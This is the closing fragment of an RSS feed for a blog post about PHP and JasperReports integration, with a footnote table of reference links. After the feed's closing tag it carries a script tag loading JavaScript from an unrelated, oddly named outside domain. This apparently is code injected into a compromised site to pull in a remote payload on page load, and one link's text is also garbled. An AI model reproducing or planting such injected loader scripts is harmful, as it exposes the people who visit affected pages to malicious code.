</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage8" linkindex="71">(8)</a></td>
<td><a href="http://www.clever-age.com/veille/blog/retour-d-experiences-sur-php-java-bridge.html" linkindex="72">http://www.clever-age.com/veille/blog/retour-D-experiment-on-php-java-bridge.html</a></td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.jagadmaya.com/integration-phpjasperreports/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>